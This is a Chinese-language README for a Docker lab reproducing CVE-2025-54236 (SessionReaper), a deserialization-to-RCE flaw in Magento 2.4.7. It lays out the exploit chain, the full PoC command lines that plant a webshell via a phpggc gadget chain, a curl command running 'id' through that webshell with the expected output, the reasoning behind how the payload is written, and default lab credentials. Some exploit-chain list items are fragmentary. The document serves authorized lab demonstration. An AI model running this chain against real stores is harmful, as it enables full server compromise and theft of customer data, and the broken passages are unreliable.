用于演示 CVE-2025-54236 (SessionReaper) 的 Docker 环境:Magento Open Source 2.4.7 中的 PHP 对象反序列化导致 RCE。
仅限在受控环境中使用。未经明确授权,请勿针对系统执行。
CVE-2025-54236 影响 Magento Open Source 和 Adobe Commerce 直至 2.4.7 版本。ServiceInputProcessor::getConstructorData() 方法接受通过 JSON 传递的嵌套参数,允许覆盖 session.save_path —— PHP 存储会话文件的文件夹。
利用链:
Guzzle/FW1 gadget chain)通过 /customer/address_file/upload 上传,并保存在 pub/media/customer_address/s/e/sess_<id>。{"session": {"save_path": "/var/www/html/pub/media/customer_address/s/e/"}} 作为构造器参数注入。session_start(),反序列化 gadget chain 并在 pub/errors/ 中写入 webshell。前提条件: PHP 会话配置为 file-based(非 Redis/Memcached)。
magento/
├── lab-magento/ # Docker 实验室(易受攻击的 Magento 2.4.7)
│ ├── Dockerfile # PHP 8.2-FPM 包含 Magento 扩展
│ ├── docker-compose.yml # 堆栈:PHP-FPM, Nginx, MySQL 8, ES 7, Redis
│ ├── .env # 环境配置
│ ├── conf/
│ │ ├── nginx/ # Nginx 虚拟主机
│ │ └── php/magento.ini # 基于文件的会话,memory_limit=2G
│ └── scripts/
│ ├── 01-install.sh # 从头开始完整安装
│ └── 02-demo-setup.sh # 准备产品、payload 并打印说明
├── SessionReaper-CVE-2025-54236/
│ └── session_reaper.py # 主要 PoC(作者:alexb616)
└── payloads/
├── shell.php # 使用单引号的 Webshell(避免 JSON 转义)
└── sess_payload.bin # 序列化的 Gadget chain(由脚本生成)
docker compose)ambionics/phpggc 镜像的 Dockersession_reaper.py 会在以下路径查找二进制文件:系统 PATH、~/phpggc/phpggc、/opt/phpggc/phpggc,如果都不存在,则自动拉取 Docker 镜像 ambionics/phpggcrequests 库(pip install requests)sudo sysctl -w vm.max_map_count=262144 以支持 Elasticsearch)cd lab-magento
# 1. 从头安装 Magento 2.4.7(约 25 分钟)
bash scripts/install.sh
install.sh 会执行以下操作:
composer install --no-devsetup:install,会话设置为 file-baseddefault(非 developer —— 避免 PHP 8.2 警告变成异常)setup:static-content:deploywww-data 权限安装完成后,在根目录(/magento/)中执行:
python3 SessionReaper-CVE-2025-54236/session_reaper.py \
--host http://localhost:8080 \
--method order \
--payload-in lab-magento/payloads/shell.php \
--payload-out /var/www/html/pub/errors/cve_lab.php \
--save-path /var/www/html/pub/media/customer_address/s/e/ \
--no-proxy
验证 RCE:
curl "http://localhost:8080/errors/cve_lab.php?cmd=id"
# 预期输出:uid=33(www-data) gid=33(www-data) groups=33(www-data)
备选方法(使用 address 向量,需要真实产品):
python3 SessionReaper-CVE-2025-54236/session_reaper.py \
--host http://localhost:8080 \
--method address \
--sku DEMO-001 \
--payload-in lab-magento/payloads/shell.php \
--payload-out /var/www/html/pub/errors/cve_lab.php \
--save-path /var/www/html/pub/media/customer_address/s/e/ \
--no-proxy
管理员 URI 在安装时随机生成。要找到它:
docker exec lab_magento_php bash -c "cd /var/www/html && php bin/magento info:adminuri"
# 漏洞利用创建的会话
docker exec lab_magento_php ls -la /var/www/html/var/session/
# media/ 中的恶意会话文件
docker exec lab_magento_php find /var/www/html/pub/media/customer_address/ -type f
# 实时日志
docker logs lab_magento_nginx -f
docker logs lab_magento_php -f
# 移除 webshell
docker exec lab_magento_php rm -f /var/www/html/pub/errors/cve_lab.php
# 停止容器
docker compose -f lab-magento/docker-compose.yml down
# 销毁所有(容器 + 数据卷)
docker compose -f lab-magento/docker-compose.yml down -v
为什么 webshell 中使用单引号?
phpggc 的 Guzzle/FW1 将 payload 序列化为 JSON:[{"Expires":1,"Discard":false,"Value":"PAYLOAD\n"}]。PHP 内容会被 JSON 编码,因此 " 会变成 \"。使用 $_GET["cmd"] 会导致 $_GET[\"cmd\"] —— 产生 PHP 解析错误。解决方案是使用单引号编写 webshell:$_GET['cmd']。
为什么使用 default 模式而非 developer 模式?
developer 模式下的 Magento 会将所有 PHP 警告转换为异常。PHP 8.2 在 lib/internal/Magento/Framework/View/Element/Html/Calendar.php:114 中发出 Warning: Trying to access array offset on null,该警告在 developer 模式下会变成管理员后台的 500 异常。而在 default 模式下,该警告会被忽略。
为什么文件存放在 s/e/ 目录下?
Magento 将地址上传文件组织在 pub/media/customer_address/{第1个字符}/{第2个字符}/文件名 中。对于 sess_* 文件,第一个字符是 s,第二个字符是 e,因此始终存放在 pub/media/customer_address/s/e/。
| 服务 | URL / 主机 | 凭据 |
|---|
| Magento 商店 | http://localhost:8080/ | - |
| Magento 管理员 | http://localhost:8080/admin/ | admin / Admin123! |
| MySQL | localhost:3306 | magento / magento |
| Elasticsearch | localhost:9200 | - |